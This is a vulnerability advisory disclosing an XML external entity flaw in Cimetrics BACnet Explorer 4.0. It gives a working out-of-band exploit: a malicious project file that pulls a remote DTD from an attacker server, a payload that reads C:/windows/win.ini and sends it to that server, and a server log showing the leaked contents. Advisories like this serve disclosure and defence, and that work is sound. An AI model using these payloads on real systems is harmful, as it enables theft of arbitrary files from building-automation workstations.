Cimetrics BACnet Explorer 4.0 XXE Injection

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Cimetrics BACnet Explorer 4.0 XXE Vulnerability  
  
  
Vendor: Cimetrics, Inc.  
Product web page: https://www.cimetrics.com  
Affected version: 4.0.0.0  
  
Summary: The BACnet Explorer is a BACnet client application that  
helps auto discover BACnet devices.  
  
Desc: BACnetExplorer suffers from an XML External Entity (XXE)  
vulnerability using the DTD parameter entities technique resulting  
in disclosure and retrieval of arbitrary data on the affected node  
via out-of-band (OOB) attack. The vulnerability is triggered when  
input passed to the xml parser is not sanitized while parsing the  
xml project file.  
  
Tested on: Microsoft Windows NT 6.1.7601 Service Pack 1  
mscorlib.dll: 4.0.30319.34209 built by: FX452RTMGDR  
BACstac Library: 1.5.6116.0  
BACstac Service: 6.8.3  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2017-5398  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5398.php  
  
  
30.01.2017  
  
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Open file evil.xml:  
  
<?xml version="1.0" encoding="UTF-8" ?>  
<!DOCTYPE zsl [  
<!ENTITY % remote SYSTEM "http://192.168.1.71:8080/xxe.xml">  
%remote;  
%root;  
%oob;]>  
  
  
xxe.xml on the web server:  
  
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">  
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://192.168.1.71:8080/?%payload;'> ">  
  
  
pyhon -m SimpleHTTPServer 8080  
  
lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1 HTTP/1.1" 301 -  
lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1/ HTTP/1.1" 200 -  
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